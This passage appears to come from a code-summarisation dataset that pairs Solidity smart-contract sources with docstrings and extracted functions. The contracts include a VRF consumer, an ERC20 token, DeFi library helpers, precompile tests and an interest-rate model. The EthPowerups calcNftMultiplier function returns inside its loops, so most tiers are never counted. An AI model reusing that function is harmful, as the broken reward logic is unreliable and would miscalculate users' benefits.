address _kenshiAddr = _coordinator.getKenshiAddr();
_utils = IVRFUtils(_vrfUtilsAddr);
_kenshi = IKenshi(_kenshiAddr);
_shouldVerify = shouldVerify;
_silent = silent;
}
/**
* @dev Setup VRF, short version.
*/
function setupVRF(address coordinatorAddr) internal {
setupVRF(coordinatorAddr, false, false);
}
/**
* @dev Sets the Kenshi VRF coordinator address.
*/
function setVRFCoordinatorAddr(address coordinatorAddr) internal {
_coordinator = ICoordinator(coordinatorAddr);
}
/**
* @dev Sets the Kenshi VRF verifier address.
*/
function setVRFUtilsAddr(address vrfUtilsAddr) internal {
_utils = IVRFUtils(vrfUtilsAddr);
}
/**
* @dev Sets the Kenshi token address.
*/
function setVRFKenshiAddr(address kenshiAddr) internal {
_kenshi = IKenshi(kenshiAddr);
}
/**
* @dev Sets if the received random number should be verified.
*/
function setVRFShouldVerify(bool shouldVerify) internal {
_shouldVerify = shouldVerify;
}
/**
* @dev Sets if should emit an event once the randomness is fulfilled.
*/
function setVRFIsSilent(bool silent) internal {
_silent = silent;
}
/**
* @dev Request a random number.
*
* @return {requestId} Use to map received random numbers to requests.
*/
function requestRandomness() internal returns (uint256) {
uint256 currentId = _requestId++;
_kenshi.approveAndCall(
address(_coordinator),
_approve,
abi.encode(currentId)
);
return currentId;
}
event RandomnessFulfilled(
uint256 requestId,
uint256 randomness,
uint256[4] _proof,
bytes _message
);
/**
* @dev Called by the VRF Coordinator.
*/
function onRandomnessReady(
uint256[4] memory proof,
bytes memory message,
uint256[2] memory uPoint,
uint256[4] memory vComponents,
uint256 requestId
) external {
require(
msg.sender == address(_coordinator),
"Consumer: Only Coordinator can fulfill"
);
if (_shouldVerify) {
bool isValid = _utils.fastVerify(
proof,
message,
uPoint,
vComponents
);
require(isValid, "Consumer: Proof not valid");
}
bytes32 beta = _utils.gammaToHash(proof[0], proof[1]);
uint256 randomness = uint256(beta);
if (!_silent) {
emit RandomnessFulfilled(requestId, randomness, proof, message);
}
fulfillRandomness(requestId, randomness);
}
/**
* @dev You need to override this function in your smart contract.
*/
function fulfillRandomness(uint256 requestId, uint256 randomness)
internal
virtual;
}
|
Sets the Kenshi VRF verifier address./
|
function setVRFUtilsAddr(address vrfUtilsAddr) internal {
_utils = IVRFUtils(vrfUtilsAddr);
}
| 1,078,933 |
./full_match/1/0xEdE9a157304fF2E19396C1c8C481255221D81bd3/sources/contracts/EthPowerups.sol
|
Calculate tier 1 nfts Calculate tier 2 nfts Calculate tier 3 nfts
|
function calcNftMultiplier(address _address) public view override returns (uint) {
uint[] memory nfts = getTokenIds(_address);
uint lastCreated = IFactory.getLastCreated(_address);
uint multiplier;
uint active;
for (uint i = 0; i < nfts.length; i++) {
if (active < 2) {
if (nfts[i] <= nftTiers[0] && getLastTransferred(nfts[i]) < lastCreated) {
multiplier += nftMultiplier[0];
active++;
}
return multiplier;
}
}
for (uint i = 0; i < nfts.length; i++) {
if (active < 2) {
if (nfts[i] <= nftTiers[1] && getLastTransferred(nfts[i]) < lastCreated) {
multiplier += nftMultiplier[1];
active++;
}
return multiplier;
}
}
for (uint i = 0; i < nfts.length; i++) {
if (active < 2 && getLastTransferred(nfts[i]) < lastCreated) {
multiplier += nftMultiplier[2];
active++;
return multiplier;
}
}
return multiplier;
}
| 16,600,758 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "openzeppelin-solidity/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol";
import "openzeppelin-solidity/contracts/access/Ownable.sol";
import "./ERC20DynamicCap.sol";
import "./ERC20Blockable.sol";
import "./ERC20LockedFunds.sol";
/**
* @author vigan.abd
* @title ThriveCoin L1 ERC20 Token
*
* @dev Implementation of the THRIVE ERC20 Token.
*
* THRIVE is a dynamic supply cross chain ERC20 token that supports burning and
* minting. The token is capped where `cap` is dynamic, but can only be
* decreased after the initial value. The decrease of `cap` happens when
* additional blockchains are added. The idea is to divide every blockchain
* to keep nearly equal `cap`, so e.g. when a new blockchain is supported
* all existing blockchains decrease their `cap`.
*
* Token cross chain swapping is supported through minting and burning
* where a separate smart contract also owned by THC owner will operate on each
* chain and will handle requests. The steps of swapping are:
* - `address` calls approve(`swap_contract_chain_1`, `swap_amount`)
* - `swap_contract_chain_1` calls burnFrom(`address`, `swap_amount`)
* - `swap_contract_chain_2` calls mint(`address`, `swap_amount`)
* NOTE: If an address beside `swap_contract_chain_1` calls burn action
* the funds will be lost forever and are not recoverable, this will cause to
* decrease total supply additionally!
*
* Another key feature of THRIVE is ability to lock funds to be send only to
* specific accounts. This is achieved through `lockAmount` and `unlockAmount`
* actions, where the first one is called by balance owner and second by receiver.
*
* Key features:
* - burn
* - mint
* - capped, dynamic decreasing only
* - pausable
* - blocking/unblocking accounts
* - role management
* - locking/unlocking funds
*
* NOTE: extends openzeppelin v4.3.2 contracts:
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.2/contracts/token/ERC20/presets/ERC20PresetMinterPauser.sol
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v4.3.2/contracts/access/Ownable.sol
*/
contract ThriveCoinERC20Token is ERC20PresetMinterPauser, ERC20DynamicCap, ERC20Blockable, ERC20LockedFunds, Ownable {
/**
* @dev Denomination of token
*/
uint8 private _decimals;
/**
* @dev Sets the values for {name}, {symbol}, {decimals}, {totalSupply} and
* {cap}.
*
* All of these values beside {cap} are immutable: they can only be set
* once during construction. {cap} param is only decreasable and is expected
* to decrease when additional blockchains are added.
*
* @param name_ - Name of the token that complies with IERC20 interface
* @param symbol_ - Symbol of the token that complies with IERC20 interface
* @param decimals_ - Denomination of the token that complies with IERC20 interface
* @param totalSupply_ - Total supply of the token that complies with IERC20 interface
* @param cap_ - Token supply max cap
*/
constructor(
string memory name_,
string memory symbol_,
uint8 decimals_,
uint256 totalSupply_,
uint256 cap_
) ERC20PresetMinterPauser(name_, symbol_) ERC20DynamicCap(cap_) {
_setupDecimals(decimals_);
_mint(owner(), totalSupply_);
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*
* @return uint8
*/
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
/**
* @dev See {ERC20DynamicCap-updateCap}. Adds only owner restriction to
* updateCap action.
*
* @param cap_ - New cap, should be lower or equal to previous cap
*/
function updateCap(uint256 cap_) external virtual onlyOwner {
_updateCap(cap_);
}
/**
* @dev See {ERC20Blockable-_blockAccount}. Adds admin only restriction to
* blockAccount action
*
* @param account - Account that will be blocked
*/
function blockAccount(address account) external virtual {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"ThriveCoinERC20Token: caller must have admin role to block the account"
);
_blockAccount(account);
}
/**
* @dev See {ERC20Blockable-_unblockAccount}. Adds admin only restriction to
* unblockAccount action
*
* @param account - Account that will be unblocked
*/
function unblockAccount(address account) external virtual {
require(
hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),
"ThriveCoinERC20Token: caller must have admin role to unblock the account"
);
_unblockAccount(account);
}
/**
* @dev See {Ownable-transferOwnership}. Overrides action by adding also all
* roles to new owner
*
* @param newOwner - The new owner of smart contract
*/
function transferOwnership(address newOwner) public virtual override onlyOwner {
address oldOwner = owner();
super.transferOwnership(newOwner);
_setupRole(DEFAULT_ADMIN_ROLE, newOwner);
_setupRole(MINTER_ROLE, newOwner);
_setupRole(PAUSER_ROLE, newOwner);
renounceRole(DEFAULT_ADMIN_ROLE, oldOwner);
renounceRole(MINTER_ROLE, oldOwner);
renounceRole(PAUSER_ROLE, oldOwner);
}
/**
* @dev Sets the value of `_decimals` field
*
* @param decimals_ - Denomination of the token that complies with IERC20 interface
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev See {ERC20-_beforeTokenTransfer}. Adjust order of calls for extended
* parent contracts.
*
* @param from - Account from where the funds will be sent
* @param to - Account that will receive funds
* @param amount - The amount that will be sent
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20, ERC20PresetMinterPauser, ERC20Blockable, ERC20LockedFunds) {
super._beforeTokenTransfer(from, to, amount);
}
/**
* @dev See {ERC20DynamicCap-_mint}. Adjust order of calls for extended
* parent contracts.
*
* @param account - Accounts where the minted funds will be sent
* @param amount - Amount that will be minted
*/
function _mint(address account, uint256 amount) internal virtual override(ERC20, ERC20DynamicCap) {
ERC20DynamicCap._mint(account, amount);
}
/**
* @dev See {ERC20DynamicCap-_updateCap}. Adds check for paused state to
* _updateCap method.
*
* @param cap_ - New cap, should be lower or equal to previous cap
*/
function _updateCap(uint256 cap_) internal virtual override {
require(!paused(), "ThriveCoinERC20Token: update cap while paused");
super._updateCap(cap_);
}
}
|
See {ERC20DynamicCap-_mint}. Adjust order of calls for extended parent contracts. account - Accounts where the minted funds will be sent amount - Amount that will be minted/
|
function _mint(address account, uint256 amount) internal virtual override(ERC20, ERC20DynamicCap) {
ERC20DynamicCap._mint(account, amount);
}
| 6,381,303 |
./full_match/43114/0x32B8a4C67fcCF8A3d62cDa812079325554EA066d/sources/avaxtaoli.sol
|
returns sorted token addresses, used to handle return values from pairs sorted in this order
|
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'PancakeLibrary: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'PancakeLibrary: ZERO_ADDRESS');
}
| 4,514,549 |
./full_match/1/0x567c09B55294998d7a6F2A3A948e8fD331531B88/sources/contracts/UMA/financial-templates/expiring-multiparty/PricelessPositionManager.sol
|
Transfers `collateralAmount` of `collateralCurrency` into the specified sponsor's position. Increases the collateralization level of a position after creation. This contract must be approved to spend at least `collateralAmount` of `collateralCurrency`. sponsor the sponsor to credit the deposit to. collateralAmount total amount of collateral tokens to be sent to the sponsor's position./ Increase the position and global collateral balance by collateral amount. Move collateral currency from sender to contract.
|
function depositTo(
address sponsor,
FixedPoint.Unsigned memory collateralAmount
) public onlyPreExpiration noPendingWithdrawal(sponsor) nonReentrant {
require(collateralAmount.isGreaterThan(0));
PositionData storage positionData = _getPositionData(sponsor);
_incrementCollateralBalances(positionData, collateralAmount);
emit Deposit(sponsor, collateralAmount.rawValue);
collateralCurrency.safeTransferFrom(
msg.sender,
address(this),
collateralAmount.rawValue
);
}
| 9,748,884 |
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
//import "hardhat/console.sol";
contract StandardPrecompiles {
constructor() payable {
//console.log("Deploying StandardPrecompiles");
}
function test_all() public view returns(bool) {
require(test_ecrecover(), "erroneous ecrecover precompile");
require(test_sha256(), "erroneous sha256 precompile");
require(test_ripemd160(), "erroneous ripemd160 precompile");
require(test_identity(), "erroneous identity precompile");
require(test_modexp(), "erroneous modexp precompile");
require(test_ecadd(), "erroneous ecadd precompile");
require(test_ecmul(), "erroneous ecmul precompile");
// TODO(#46): ecpair uses up all the gas (by itself) for some reason, need to look into this.
// require(test_ecpair(), "erroneous ecpair precompile");
require(test_blake2f(), "erroneous blake2f precompile");
return true;
}
// See: https://docs.soliditylang.org/en/develop/units-and-global-variables.html#mathematical-and-cryptographic-functions
// See: https://etherscan.io/address/0x0000000000000000000000000000000000000001
function test_ecrecover() public pure returns(bool) {
bytes32 hash = hex"1111111111111111111111111111111111111111111111111111111111111111";
bytes memory sig = hex"b9f0bb08640d3c1c00761cdd0121209268f6fd3816bc98b9e6f3cc77bf82b69812ac7a61788a0fdc0e19180f14c945a8e1088a27d92a74dce81c0981fb6447441b";
address signer = 0x1563915e194D8CfBA1943570603F7606A3115508;
return ecverify(hash, sig, signer);
}
// See: https://docs.soliditylang.org/en/develop/units-and-global-variables.html#mathematical-and-cryptographic-functions
// See: https://etherscan.io/address/0x0000000000000000000000000000000000000002
function test_sha256() public pure returns(bool) {
return sha256("") == hex"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855";
}
// See: https://docs.soliditylang.org/en/develop/units-and-global-variables.html#mathematical-and-cryptographic-functions
// See: https://etherscan.io/address/0x0000000000000000000000000000000000000003
function test_ripemd160() public pure returns(bool) {
return ripemd160("") == hex"9c1185a5c5e9fc54612808977ee8f548b2258d31";
}
// See: https://etherscan.io/address/0x0000000000000000000000000000000000000004
function test_identity() public view returns(bool) {
bytes memory data = hex"1111111111111111111111111111111111111111111111111111111111111111";
return keccak256(datacopy(data)) == keccak256(data);
}
// See: https://eips.ethereum.org/EIPS/eip-198
// See: https://etherscan.io/address/0x0000000000000000000000000000000000000005
function test_modexp() public view returns(bool) {
uint256 base = 3;
uint256 exponent = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2e;
uint256 modulus = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f;
return modexp(base, exponent, modulus) == 1;
}
// See: https://eips.ethereum.org/EIPS/eip-196
// See: https://etherscan.io/address/0x0000000000000000000000000000000000000006
function test_ecadd() public view returns(bool) {
// alt_bn128_add_chfast1:
bytes32[2] memory result;
result = ecadd(
0x18b18acfb4c2c30276db5411368e7185b311dd124691610c5d3b74034e093dc9,
0x063c909c4720840cb5134cb9f59fa749755796819658d32efc0d288198f37266,
0x07c2b7f58a84bd6145f00c9c2bc0bb1a187f20ff2c92963a88019e7c6a014eed,
0x06614e20c147e940f2d70da3f74c9a17df361706a4485c742bd6788478fa17d7
);
return result[0] == 0x2243525c5efd4b9c3d3c45ac0ca3fe4dd85e830a4ce6b65fa1eeaee202839703 && result[1] == 0x301d1d33be6da8e509df21cc35964723180eed7532537db9ae5e7d48f195c915;
}
// See: https://eips.ethereum.org/EIPS/eip-196
// See: https://etherscan.io/address/0x0000000000000000000000000000000000000007
function test_ecmul() public view returns(bool) {
// alt_bn128_mul_chfast1:
bytes32[2] memory result;
result = ecmul(
0x2bd3e6d0f3b142924f5ca7b49ce5b9d54c4703d7ae5648e61d02268b1a0a9fb7,
0x21611ce0a6af85915e2f1d70300909ce2e49dfad4a4619c8390cae66cefdb204,
0x00000000000000000000000000000000000000000000000011138ce750fa15c2
);
return result[0] == 0x070a8d6a982153cae4be29d434e8faef8a47b274a053f5a4ee2a6c9c13c31e5c && result[1] == 0x031b8ce914eba3a9ffb989f9cdd5b0f01943074bf4f0f315690ec3cec6981afc;
}
// See: https://eips.ethereum.org/EIPS/eip-197
// See: https://etherscan.io/address/0x0000000000000000000000000000000000000008
function test_ecpair() public view returns(bool) {
// alt_bn128_pairing_jeff1:
bytes32 result = ecpair(hex"1c76476f4def4bb94541d57ebba1193381ffa7aa76ada664dd31c16024c43f593034dd2920f673e204fee2811c678745fc819b55d3e9d294e45c9b03a76aef41209dd15ebff5d46c4bd888e51a93cf99a7329636c63514396b4a452003a35bf704bf11ca01483bfa8b34b43561848d28905960114c8ac04049af4b6315a416782bb8324af6cfc93537a2ad1a445cfd0ca2a71acd7ac41fadbf933c2a51be344d120a2a4cf30c1bf9845f20c6fe39e07ea2cce61f0c9bb048165fe5e4de877550111e129f1cf1097710d41c4ac70fcdfa5ba2023c6ff1cbeac322de49d1b6df7c2032c61a830e3c17286de9462bf242fca2883585b93870a73853face6a6bf411198e9393920d483a7260bfb731fb5d25f1aa493335a9e71297e485b7aef312c21800deef121f1e76426a00665e5c4479674322d4f75edadd46debd5cd992f6ed090689d0585ff075ec9e99ad690c3395bc4b313370b38ef355acdadcd122975b12c85ea5db8c6deb4aab71808dcb408fe3d1e7690c43d37b4ce6cc0166fa7daa");
return result == 0x0000000000000000000000000000000000000000000000000000000000000001;
}
// See: https://eips.ethereum.org/EIPS/eip-152
// See: https://etherscan.io/address/0x0000000000000000000000000000000000000009
function test_blake2f() public view returns(bool) {
uint32 rounds = 12;
bytes32[2] memory h;
h[0] = hex"48c9bdf267e6096a3ba7ca8485ae67bb2bf894fe72f36e3cf1361d5f3af54fa5";
h[1] = hex"d182e6ad7f520e511f6c3e2b8c68059b6bbd41fbabd9831f79217e1319cde05b";
bytes32[4] memory m;
m[0] = hex"6162630000000000000000000000000000000000000000000000000000000000";
m[1] = hex"0000000000000000000000000000000000000000000000000000000000000000";
m[2] = hex"0000000000000000000000000000000000000000000000000000000000000000";
m[3] = hex"0000000000000000000000000000000000000000000000000000000000000000";
bytes8[2] memory t;
t[0] = hex"03000000";
t[1] = hex"00000000";
bool f = true;
bytes32[2] memory result = blake2f(rounds, h, m, t, f);
return result[0] == hex"ba80a53f981c4d0d6a2797b69f12f6e94c212f14685ac4b74b12bb6fdbffa2d1" && result[1] == hex"7d87c5392aab792dc252d5de4533cc9518d38aa8dbf1925ab92386edd4009923";
}
function ecverify(bytes32 hash, bytes memory sig, address signer) private pure returns (bool) {
bool ok;
address addr;
(ok, addr) = ecrecovery(hash, sig);
return ok && addr == signer;
}
function ecrecovery(bytes32 hash, bytes memory sig) private pure returns (bool, address) {
if (sig.length != 65)
return (false, address(0));
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
address addr = ecrecover(hash, v, r, s);
return (true, addr);
}
function datacopy(bytes memory input) private view returns (bytes memory) {
bytes memory output = new bytes(input.length);
assembly {
let len := mload(input)
let ok := staticcall(gas(), 0x04, add(input, 32), len, add(output, 32), len)
switch ok
case 0 {
revert(0, 0)
}
}
return output;
}
function modexp(uint256 base, uint256 exponent, uint256 modulus) private view returns (uint256 output) {
assembly {
let ptr := mload(0x40)
mstore(ptr, 32)
mstore(add(ptr, 0x20), 32)
mstore(add(ptr, 0x40), 32)
mstore(add(ptr, 0x60), base)
mstore(add(ptr, 0x80), exponent)
mstore(add(ptr, 0xA0), modulus)
let ok := staticcall(gas(), 0x05, ptr, 0xC0, ptr, 0x20)
switch ok
case 0 {
revert(0, 0)
}
default {
output := mload(ptr)
}
}
}
function ecadd(bytes32 ax, bytes32 ay, bytes32 bx, bytes32 by) private view returns (bytes32[2] memory output) {
bytes32[4] memory input = [ax, ay, bx, by];
assembly {
let ok := staticcall(gas(), 0x06, input, 0x80, output, 0x40)
switch ok
case 0 {
revert(0, 0)
}
}
}
function ecmul(bytes32 x, bytes32 y, bytes32 scalar) private view returns (bytes32[2] memory output) {
bytes32[3] memory input = [x, y, scalar];
assembly {
let ok := staticcall(gas(), 0x07, input, 0x60, output, 0x40)
switch ok
case 0 {
revert(0, 0)
}
}
}
function ecpair(bytes memory input) private view returns (bytes32 output) {
uint256 len = input.length;
require(len % 192 == 0);
assembly {
let ptr := mload(0x40)
let ok := staticcall(gas(), 0x08, add(input, 32), len, ptr, 0x20)
switch ok
case 0 {
revert(0, 0)
}
default {
output := mload(ptr)
}
}
}
function blake2f(uint32 rounds, bytes32[2] memory h, bytes32[4] memory m, bytes8[2] memory t, bool f) private view returns (bytes32[2] memory) {
bytes32[2] memory output;
bytes memory args = abi.encodePacked(rounds, h[0], h[1], m[0], m[1], m[2], m[3], t[0], t[1], f);
assembly {
let ok := staticcall(gas(), 0x09, add(args, 32), 0xD5, output, 0x40)
switch ok
case 0 {
revert(0, 0)
}
}
return output;
}
}
|
See: https:eips.ethereum.org/EIPS/eip-196 See: https:etherscan.io/address/0x0000000000000000000000000000000000000006 alt_bn128_add_chfast1:
|
function test_ecadd() public view returns(bool) {
bytes32[2] memory result;
result = ecadd(
0x18b18acfb4c2c30276db5411368e7185b311dd124691610c5d3b74034e093dc9,
0x063c909c4720840cb5134cb9f59fa749755796819658d32efc0d288198f37266,
0x07c2b7f58a84bd6145f00c9c2bc0bb1a187f20ff2c92963a88019e7c6a014eed,
0x06614e20c147e940f2d70da3f74c9a17df361706a4485c742bd6788478fa17d7
);
return result[0] == 0x2243525c5efd4b9c3d3c45ac0ca3fe4dd85e830a4ce6b65fa1eeaee202839703 && result[1] == 0x301d1d33be6da8e509df21cc35964723180eed7532537db9ae5e7d48f195c915;
}
| 5,350,323 |
pragma solidity ^0.5.16;
/**
* @title Compound's InterestRateModel Interface
* @author Compound
*/
contract InterestRateModel {
/// @notice Indicator that this is an InterestRateModel contract (for inspection)
bool public constant isInterestRateModel = true;
/**
* @notice Calculates the current borrow interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @return The borrow rate per block (as a percentage, and scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint);
/**
* @notice Calculates the current supply interest rate per block
* @param cash The total amount of cash the market has
* @param borrows The total amount of borrows the market has outstanding
* @param reserves The total amnount of reserves the market has
* @param reserveFactorMantissa The current reserve factor the market has
* @return The supply rate per block (as a percentage, and scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint);
}
pragma solidity ^0.5.16;
import "./InterestRateModel.sol";
import "./SafeMath.sol";
/**
* @title Compound's JumpRateModel Contract V2
* @author Compound (modified by Dharma Labs)
* @notice Version 2 modifies Version 1 by enabling updateable parameters.
*/
contract JumpRateModelV2 is InterestRateModel {
using SafeMath for uint;
event NewInterestParams(uint baseRatePerBlock, uint multiplierPerBlock, uint jumpMultiplierPerBlock, uint kink, uint roof);
/**
* @notice The address of the owner, i.e. the Timelock contract, which can update parameters directly
*/
address public owner;
/**
* @notice The approximate number of blocks per year that is assumed by the interest rate model
*/
uint public constant blocksPerYear = 2102400;
/**
* @notice The minimum roof value used for calculating borrow rate.
*/
uint internal constant minRoofValue = 1e18;
/**
* @notice The multiplier of utilization rate that gives the slope of the interest rate
*/
uint public multiplierPerBlock;
/**
* @notice The base interest rate which is the y-intercept when utilization rate is 0
*/
uint public baseRatePerBlock;
/**
* @notice The multiplierPerBlock after hitting a specified utilization point
*/
uint public jumpMultiplierPerBlock;
/**
* @notice The utilization point at which the jump multiplier is applied
*/
uint public kink;
/**
* @notice The utilization point at which the rate is fixed
*/
uint public roof;
/**
* @notice Construct an interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
* @param roof_ The utilization point at which the borrow rate is fixed
* @param owner_ The address of the owner, i.e. the Timelock contract (which has the ability to update parameters directly)
*/
constructor(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, uint roof_, address owner_) public {
owner = owner_;
updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_, roof_);
}
/**
* @notice Update the parameters of the interest rate model (only callable by owner, i.e. Timelock)
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
* @param roof_ The utilization point at which the borrow rate is fixed
*/
function updateJumpRateModel(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, uint roof_) external {
require(msg.sender == owner, "only the owner may call this function.");
updateJumpRateModelInternal(baseRatePerYear, multiplierPerYear, jumpMultiplierPerYear, kink_, roof_);
}
/**
* @notice Calculates the utilization rate of the market: `borrows / (cash + borrows - reserves)`
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market (currently unused)
* @return The utilization rate as a mantissa between [0, 1e18]
*/
function utilizationRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
// Utilization rate is 0 when there are no borrows
if (borrows == 0) {
return 0;
}
uint util = borrows.mul(1e18).div(cash.add(borrows).sub(reserves));
// If the utilization is above the roof, cap it.
if (util > roof) {
util = roof;
}
return util;
}
/**
* @notice Calculates the current borrow rate per block, with the error code expected by the market
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @return The borrow rate percentage per block as a mantissa (scaled by 1e18)
*/
function getBorrowRate(uint cash, uint borrows, uint reserves) public view returns (uint) {
uint util = utilizationRate(cash, borrows, reserves);
if (util <= kink) {
return util.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
} else {
uint normalRate = kink.mul(multiplierPerBlock).div(1e18).add(baseRatePerBlock);
uint excessUtil = util.sub(kink);
return excessUtil.mul(jumpMultiplierPerBlock).div(1e18).add(normalRate);
}
}
/**
* @notice Calculates the current supply rate per block
* @param cash The amount of cash in the market
* @param borrows The amount of borrows in the market
* @param reserves The amount of reserves in the market
* @param reserveFactorMantissa The current reserve factor for the market
* @return The supply rate percentage per block as a mantissa (scaled by 1e18)
*/
function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) public view returns (uint) {
uint oneMinusReserveFactor = uint(1e18).sub(reserveFactorMantissa);
uint borrowRate = getBorrowRate(cash, borrows, reserves);
uint rateToPool = borrowRate.mul(oneMinusReserveFactor).div(1e18);
return utilizationRate(cash, borrows, reserves).mul(rateToPool).div(1e18);
}
/**
* @notice Internal function to update the parameters of the interest rate model
* @param baseRatePerYear The approximate target base APR, as a mantissa (scaled by 1e18)
* @param multiplierPerYear The rate of increase in interest rate wrt utilization (scaled by 1e18)
* @param jumpMultiplierPerYear The multiplierPerBlock after hitting a specified utilization point
* @param kink_ The utilization point at which the jump multiplier is applied
* @param roof_ The utilization point at which the borrow rate is fixed
*/
function updateJumpRateModelInternal(uint baseRatePerYear, uint multiplierPerYear, uint jumpMultiplierPerYear, uint kink_, uint roof_) internal {
require(roof_ >= minRoofValue, "invalid roof value");
baseRatePerBlock = baseRatePerYear.div(blocksPerYear);
multiplierPerBlock = (multiplierPerYear.mul(1e18)).div(blocksPerYear.mul(kink_));
jumpMultiplierPerBlock = jumpMultiplierPerYear.div(blocksPerYear);
kink = kink_;
roof = roof_;
emit NewInterestParams(baseRatePerBlock, multiplierPerBlock, jumpMultiplierPerBlock, kink, roof);
}
}
pragma solidity ^0.5.16;
// From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol
// Subject to the MIT license.
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
